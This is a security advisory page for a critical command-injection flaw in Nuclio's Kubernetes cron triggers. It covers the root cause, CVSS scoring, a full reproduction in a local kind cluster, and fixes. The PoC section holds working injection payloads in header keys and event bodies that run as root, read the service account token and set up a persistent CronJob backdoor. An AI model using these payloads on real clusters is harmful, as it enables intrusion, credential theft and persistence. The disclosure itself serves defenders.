Kestrel
대시보드로 돌아가기
CVE-2026-52831CRITICAL· 10.0GHSA대응게시일: 2026. 07. 08.수정일: 2026. 07. 08.

Nuclio: Unsanitized cron trigger event headers/body injected into CronJob shell command leads to persistent RCE

위협 신호 · CVSS · EPSS · KEV

시급 검토· 이론 심각도 Critical
CVSS
10.0critical

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한3일 이내CISA SSVC 기준

즉시(3일 이내) 패치 — 최우선 대응

자동화 가능완전 장악외부 노출· KEV 미등재 · 자동화 가능 · 완전 장악 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한불필요
사용자 상호작용불필요
범위변경
영향
기밀성 영향높음
무결성 영향높음
가용성 영향높음
버전별 점수
CVSS 3.110.0CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

상세 설명

Summary

Nuclio controller builds a curl invocation string for each cron trigger and stores it as the args of a Kubernetes CronJob container (/bin/sh, -c, <command>). Two fields in the trigger specification flow into this string without adequate sanitization:

  • event.headers keys — interpolated verbatim inside double-quoted --header arguments (lazy.go:2150); any key containing " breaks the quoting context.
  • event.body — processed with strconv.Quote, which escapes " and \ but not $(), allowing command substitution (lazy.go:2188).

Both paths were dynamically verified on Nuclio 1.15.27 (latest as of 2026-05-17).

  • CVSS 3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H9.9 (Critical)
  • CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
  • Affected versions: Nuclio <= 1.15.27 (latest, dynamically verified)

Details

Root Cause

When a NuclioFunction with a cron trigger is reconciled by the controller, it calls generateCronTriggerCronJobSpec in pkg/platform/kube/functionres/lazy.go:2113. This function builds a shell command string by concatenating user-supplied values and passes it directly to /bin/sh -c.

Path-A — Header key injection (lazy.go:2146-2151)

text
1// lazy.go:2146-2151
2headersAsCurlArg := ""
3for headerKey := range attributes.Event.Headers {
4 headerValue := attributes.Event.GetHeaderString(headerKey)
5 headersAsCurlArg = fmt.Sprintf("%s --header \"%s: %s\"",
6 headersAsCurlArg, headerKey, headerValue)
7 // ↑
8 // headerKey is user-controlled; no escaping applied
9}

headerKey is taken from event.headers in the trigger specification. Since it is interpolated directly inside a double-quoted shell argument, a key containing " terminates the quoting context. The remainder of the key is then interpreted as raw shell syntax.

Attack string for headerKey:

text
1X-Inject"; ARBITRARY_COMMAND; echo "

Resulting shell command fragment:

text
1--header "X-Inject"; ARBITRARY_COMMAND; echo ": value"

Path-B — Body command substitution (lazy.go:2173-2192)

text
1// lazy.go:2188-2192
2curlCommand = fmt.Sprintf("echo %s > %s && %s %s",
3 strconv.Quote(eventBody), // escapes " → \" and \ → \\, but NOT $()
4 eventBodyFilePath,
5 curlCommand,
6 eventBodyCurlArg)

strconv.Quote wraps the string in double quotes and escapes " and \, but does not escape $, (, or ). A body value of $(CMD) becomes the Go string "$(CMD)", which the shell expands as command substitution when executing the /bin/sh -c string.

Attack string for event.body:

text
1$(ARBITRARY_COMMAND)

Resulting shell command:

text
1echo "$(ARBITRARY_COMMAND)" > /tmp/eventbody.out && curl ...

Execution sink (lazy.go:2212)

text
1// lazy.go:2212
2Args: []string{"/bin/sh", "-c", curlCommand}

The entire concatenated string — including any injected content — is executed by the shell.

Persistence mechanism

The CronJob created by the controller carries no ownerReferences linking it to the NuclioFunction. Kubernetes cascade deletion only applies to owned resources. If the controller crashes between function deletion and explicit CronJob deletion, the CronJob continues executing on its schedule indefinitely. The controller code itself acknowledges this at lazy.go:522:

text
1// Delete function k8s CronJobs before the Deployment so they cannot spawn new
2// CronJobs are not owned by the Deployment, so cascade does not remove them.

PoC

Environment Setup

The following steps reproduce the vulnerability in an isolated local environment.

Step 1 — Install prerequisites

bash
1# kind (Kubernetes-in-Docker)
2curl -Lo /usr/local/bin/kind \
3 https://kind.sigs.k8s.io/dl/v0.22.0/kind-linux-amd64
4chmod +x /usr/local/bin/kind
5
6# Helm
7curl https://raw.githubusercontent.com/helm/helm/main/scripts/get-helm-3 | bash

Step 2 — Create isolated kind cluster

text
1kind create cluster --name vul-010
2kubectl cluster-info --context kind-vul-010

Expected output:

text
1Kubernetes control plane is running at https://127.0.0.1:xxxxx

Step 3 — Deploy Nuclio (latest 1.15.27)

text
1helm repo add nuclio https://nuclio.github.io/nuclio/charts
2helm repo update
3
4kubectl create namespace nuclio
5
6helm install nuclio nuclio/nuclio \
7 --namespace nuclio \
8 --kube-context kind-vul-010 \
9 --version 0.21.27 \
10 --set dashboard.enabled=true \
11 --set controller.enabled=true

Wait for the controller to become ready:

text
1kubectl wait --for=condition=Available deployment/nuclio-controller \
2 -n nuclio --context kind-vul-010 --timeout=120s

Step 4 — Create a NuclioProject

text
1kubectl apply --context kind-vul-010 -f - <<'EOF'
2apiVersion: nuclio.io/v1beta1
3kind: NuclioProject
4metadata:
5 name: default
6 namespace: nuclio
7spec:
8 description: "default project"
9EOF

Step 5 — Prepare a placeholder image for the function deployment

The controller needs a non-empty image field to create the function Deployment. Load any small image that is already present on the host:

bash
1# Tag alpine as the placeholder function image
2docker tag gcr.io/iguazio/alpine:3.20 placeholder-function:latest
3kind load docker-image placeholder-function:latest --name vul-010
4
5# Also load the CronJob runner image (appropriate/curl or any sh-capable image)
6docker tag gcr.io/iguazio/alpine:3.20 appropriate/curl:latest
7kind load docker-image appropriate/curl:latest --name vul-010

Exploitation — Path-A: Header Key Injection

Step 6 — Create a NuclioFunction with malicious header key

The injection payload in the header key is:

text
1X-Inject"; echo "===RCE_CONFIRMED==="; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo "
text
1kubectl apply --context kind-vul-010 -f - <<'EOF'
2apiVersion: nuclio.io/v1beta1
3kind: NuclioFunction
4metadata:
5 name: vul010-rce-visible
6 namespace: nuclio
7 labels:
8 nuclio.io/project-name: default
9spec:
10 image: placeholder-function:latest
11 runtime: python:3.9
12 handler: main:handler
13 build:
14 functionSourceCode: "ZGVmIGhhbmRsZXIoY29udGV4dCwgZXZlbnQpOgogICAgcmV0dXJuICdoZWxsbyc="
15 triggers:
16 cron-inject:
17 kind: cron
18 attributes:
19 schedule: "*/1 * * * *"
20 event:
21 headers:
22 X-Normal: safe-value
23 'X-Inject"; echo "===RCE_CONFIRMED==="; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo "': marker
24 minReplicas: 1
25 maxReplicas: 1
26EOF

Step 7 — Trigger the controller to create the CronJob

text
1kubectl patch nucliofunction vul010-rce-visible -n nuclio \
2 --context kind-vul-010 \
3 --type=merge \
4 -p '{"status":{"state":"waitingForResourceConfiguration"}}'

Wait ~10 seconds for the controller to reconcile, then list CronJobs:

text
1kubectl get cronjob -n nuclio --context kind-vul-010

Expected output:

text
1NAME SCHEDULE SUSPEND ACTIVE LAST SCHEDULE AGE
2nuclio-cron-job-d84tg6lmuaqc73arn15g */1 * * * * False 0 <none> 12s

Step 8 — Inspect the generated CronJob command (static confirmation)

bash
1CJ_NAME=$(kubectl get cronjob -n nuclio --context kind-vul-010 \
2 -o jsonpath='{.items[0].metadata.name}')
3
4kubectl get cronjob "$CJ_NAME" -n nuclio --context kind-vul-010 \
5 -o jsonpath='{.spec.jobTemplate.spec.template.spec.containers[0].args}' \
6 | python3 -m json.tool

Actual output from verification:

text
1[
2 "/bin/sh",
3 "-c",
4 "curl --silent --header \"X-Inject\"; echo \"===RCE_CONFIRMED===\"; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo \": marker\" --header \"X-Normal: safe-value\" --header \"X-Nuclio-Invoke-Trigger: cron\" --header \"X-Nuclio-Target: vul010-rce-visible\" nuclio-vul010-rce-visible.nuclio.svc.cluster.local:8080 --retry 10 --retry-delay 1 --retry-max-time 10 --retry-connrefused"
5]

The injected commands are clearly embedded between the shell-separated statements.

Step 9 — Manually trigger a CronJob run (dynamic confirmation)

bash
1kubectl create job --from=cronjob/"$CJ_NAME" \
2 vul010-rce-proof -n nuclio --context kind-vul-010
3
4# Wait for the pod to complete
5kubectl wait pod -n nuclio --context kind-vul-010 \
6 -l job-name=vul010-rce-proof \
7 --for=condition=Ready --timeout=30s 2>/dev/null || true
8
9POD=$(kubectl get pods -n nuclio --context kind-vul-010 \
10 -l job-name=vul010-rce-proof -o jsonpath='{.items[0].metadata.name}')
11
12kubectl logs "$POD" -n nuclio --context kind-vul-010

Actual pod log output from verification:

text
1/bin/sh: curl: not found
2===RCE_CONFIRMED===
3uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
4eyJhbGciOiJSUzI1NiIsImtpZCI6InNtaUE1WS0yVXl2ZUhsTG: marker --header X-Normal: safe-value ...
  • Line 1: curl exits immediately at "X-Inject" (no curl binary in alpine)
  • Line 2: echo "===RCE_CONFIRMED===" executes — injection confirmed
  • Line 3: id executes — container runs as uid=0 (root)
  • Line 4: cat .../token | head -c 50 exfiltrates the first 50 bytes of the K8s SA token

Exploitation — Path-B: Body Command Substitution

Step 10 — Create a NuclioFunction with malicious event body

text
1kubectl apply --context kind-vul-010 -f - <<'EOF'
2apiVersion: nuclio.io/v1beta1
3kind: NuclioFunction
4metadata:
5 name: vul010-body-inject
6 namespace: nuclio
7 labels:
8 nuclio.io/project-name: default
9spec:
10 image: placeholder-function:latest
11 runtime: python:3.9
12 handler: main:handler
13 build:
14 functionSourceCode: "ZGVmIGhhbmRsZXIoY29udGV4dCwgZXZlbnQpOgogICAgcmV0dXJuICdoZWxsbyc="
15 triggers:
16 cron-body:
17 kind: cron
18 attributes:
19 schedule: "*/1 * * * *"
20 event:
21 body: "$(id 1>&2; echo BODY_INJECTION_PROOF)"
22 minReplicas: 1
23 maxReplicas: 1
24EOF
25
26kubectl patch nucliofunction vul010-body-inject -n nuclio \
27 --context kind-vul-010 \
28 --type=merge \
29 -p '{"status":{"state":"waitingForResourceConfiguration"}}'

Step 11 — Verify CronJob command (static)

bash
1sleep 15
2CJ_NAME_B=$(kubectl get cronjob -n nuclio --context kind-vul-010 \
3 -l "nuclio.io/function-name=vul010-body-inject" \
4 -o jsonpath='{.items[0].metadata.name}')
5
6kubectl get cronjob "$CJ_NAME_B" -n nuclio --context kind-vul-010 \
7 -o jsonpath='{.spec.jobTemplate.spec.template.spec.containers[0].args}' \
8 | python3 -m json.tool

Actual output from verification:

text
1[
2 "/bin/sh",
3 "-c",
4 "echo \"$(id 1>&2; echo BODY_INJECTION_PROOF)\" > /tmp/eventbody.out && curl --silent --header \"X-Nuclio-Invoke-Trigger: cron\" --header \"X-Nuclio-Target: vul010-body-inject\" nuclio-vul010-body-inject.nuclio.svc.cluster.local:8080 ..."
5]

$() is present unescaped inside a double-quoted string passed to /bin/sh -c.

Step 12 — Dynamic execution

bash
1kubectl create job --from=cronjob/"$CJ_NAME_B" \
2 vul010-body-proof -n nuclio --context kind-vul-010
3
4POD_B=$(kubectl get pods -n nuclio --context kind-vul-010 \
5 -l job-name=vul010-body-proof -o jsonpath='{.items[0].metadata.name}')
6
7kubectl logs "$POD_B" -n nuclio --context kind-vul-010

Actual pod log output from verification:

text
1uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
2/bin/sh: curl: not found

id ran as root via $() expansion before curl was even attempted.


Persistence Verification

Step 13 — Confirm CronJob has no ownerReferences

bash
1kubectl get cronjob "$CJ_NAME" -n nuclio --context kind-vul-010 \
2 -o jsonpath='{.metadata.ownerReferences}'

Expected: empty (no output)

Step 14 — Simulate controller crash during function deletion

bash
1# Stop the controller
2kubectl scale deployment nuclio-controller -n nuclio \
3 --context kind-vul-010 --replicas=0
4
5# Delete the function
6kubectl delete nucliofunction vul010-rce-visible -n nuclio \
7 --context kind-vul-010
8
9sleep 5
10
11# Function is gone — CronJob remains
12kubectl get nucliofunction -n nuclio --context kind-vul-010
13kubectl get cronjob -n nuclio --context kind-vul-010

Actual output from verification:

bash
1# NuclioFunctions:
2NAME AGE
3vul010-body-inject2 2m30s
4(vul010-rce-visible deleted — not listed)
5
6# CronJobs:
7NAME SCHEDULE SUSPEND ACTIVE
8nuclio-cron-job-d84tj8lmuaqc73arn170 */1 * * * * False 0
9(CronJob belonging to the deleted function — still running)

Step 15 — Execute the persistent backdoor

text
1kubectl create job --from=cronjob/nuclio-cron-job-d84tj8lmuaqc73arn170 \
2 vul010-persist-backdoor -n nuclio --context kind-vul-010
3
4kubectl logs vul010-persist-backdoor-* -n nuclio --context kind-vul-010

Actual pod log output from verification:

text
1/bin/sh: curl: not found
2PERSISTENT_BACKDOOR_ACTIVE
3: attacker-value --header X-Nuclio-Invoke-Trigger: cron --header X-Nuclio-Target: vul010-persist-test ...

The injected command executes after the source function has been deleted.


Cleanup

text
1kubectl delete nucliofunction --all -n nuclio --context kind-vul-010 2>/dev/null
2kubectl delete cronjob --all -n nuclio --context kind-vul-010 2>/dev/null
3kind delete cluster --name vul-010

Impact

Remote Code Execution: An attacker with network access to the Dashboard API (unauthenticated by default) can execute arbitrary shell commands inside the CronJob pod on every scheduled tick.

Runs as root: Every CronJob pod confirmed running as uid=0(root) during verification.

ServiceAccount token exfiltration: The pod's mounted SA token (/var/run/secrets/ kubernetes.io/serviceaccount/token) is readable by the injected commands and can be exfiltrated to an attacker-controlled host via the injected curl call. This token enables:

  • Enumeration of Kubernetes API resources in the nuclio namespace
  • In misconfigured clusters, cluster-wide API access

Persistent backdoor: The CronJob resource has no ownerReferences and is not garbage-collected by Kubernetes. In the window between controller unavailability and explicit cleanup, the CronJob continues executing the attacker's commands on the configured schedule (minimum every 1 minute) — persisting beyond function deletion, Nuclio redeployments, or loss of attacker Dashboard access.

Cloud environment lateral movement: In managed Kubernetes environments (AWS EKS, GCP GKE, Azure AKS), the injected commands can access the cloud instance metadata service to retrieve IAM credentials, enabling lateral movement outside the cluster.


Severity

Critical — CVSS 3.1 Score: 9.9

text
1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
MetricValueRationale
Attack VectorNetworkDashboard is network-accessible
Attack ComplexityLowNo preconditions; straightforward payload
Privileges RequiredNoneNOP auth is the default configuration
User InteractionNoneFully automated via API
ScopeChangedImpact crosses pod boundary into cluster
ConfidentialityHighSA token, secrets readable
IntegrityHighArbitrary command execution as root
AvailabilityHighPersistent CronJob can exhaust cluster resources

Affected Versions

All Nuclio versions that support Kubernetes CronJob-based cron triggers, which includes the current production release.

  • Confirmed affected: 1.15.27 (latest as of 2026-05-17, dynamically verified)
  • Earliest affected: introduced when CronJob-based cron trigger support was added (cronTriggerCreationMode: kube)

Patched Versions

Workarounds

  1. Network-level restriction: Place the Nuclio Dashboard behind an authenticated
    reverse proxy or restrict port 8070 to trusted networks only. This limits who can
    submit function specifications.

  2. Disable cron triggers: If cron trigger functionality is not required, avoid creating
    functions with kind: cron triggers.

  3. RBAC restriction: Remove the batch API group permission from the Nuclio controller
    ServiceAccount to prevent CronJob creation. Note: this disables cron trigger
    functionality entirely.

None of the above eliminate the root cause; they only reduce exposure.


Resources

  • Vulnerable file: pkg/platform/kube/functionres/lazy.go
    • Path-A: line 2150 — header key interpolation
    • Path-B: lines 2188-2189 — body interpolation with strconv.Quote
    • Execution sink: line 2212 — Args: []string{"/bin/sh", "-c", curlCommand}
  • Go strconv.Quote documentation: does not escape $, (, ), or backticks
  • CWE-78: Improper Neutralization of Special Elements used in an OS Command
  • CVSS 3.1 Calculator: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Remediation

P0 — Eliminate the shell layer (preferred fix)

Replace the /bin/sh -c <string> invocation with an exec-format argument list. This
removes shell interpretation entirely:

text
1// Current (vulnerable): lazy.go:2212
2Args: []string{"/bin/sh", "-c", curlCommand}
3
4// Fixed: build curl args as a []string slice
5func buildCurlArgs(headers map[string]string, body, address string) []string {
6 args := []string{"curl", "--silent"}
7 for k, v := range headers {
8 args = append(args, "--header", k+": "+v)
9 }
10 if body != "" {
11 args = append(args, "--data", body)
12 }
13 args = append(args, "--retry", "10", "--retry-delay", "1",
14 "--retry-max-time", "10", "--retry-connrefused", address)
15 return args
16}
17
18// Container spec:
19Container{
20 Command: nil,
21 Args: buildCurlArgs(headersMap, eventBody, functionAddress),
22}

With exec format, each argument is passed directly to the process without shell
interpretation. No quoting or escaping is needed.

P1 — Shell-safe quoting (fallback if shell is required)

If the shell invocation must be retained, apply proper POSIX shell quoting to all
user-supplied values before interpolation. The equivalent of Python's shlex.quote
must be implemented in Go:

text
1func shellQuote(s string) string {
2 return "'" + strings.ReplaceAll(s, "'", "'\\''") + "'"
3}

Apply to both headerKey, headerValue, and eventBody before inserting into the
command string.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.